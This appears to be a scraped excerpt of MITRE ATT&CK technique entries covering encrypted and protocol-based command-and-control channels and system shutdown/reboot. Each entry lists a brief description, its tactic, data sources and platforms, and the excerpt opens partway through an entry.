Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre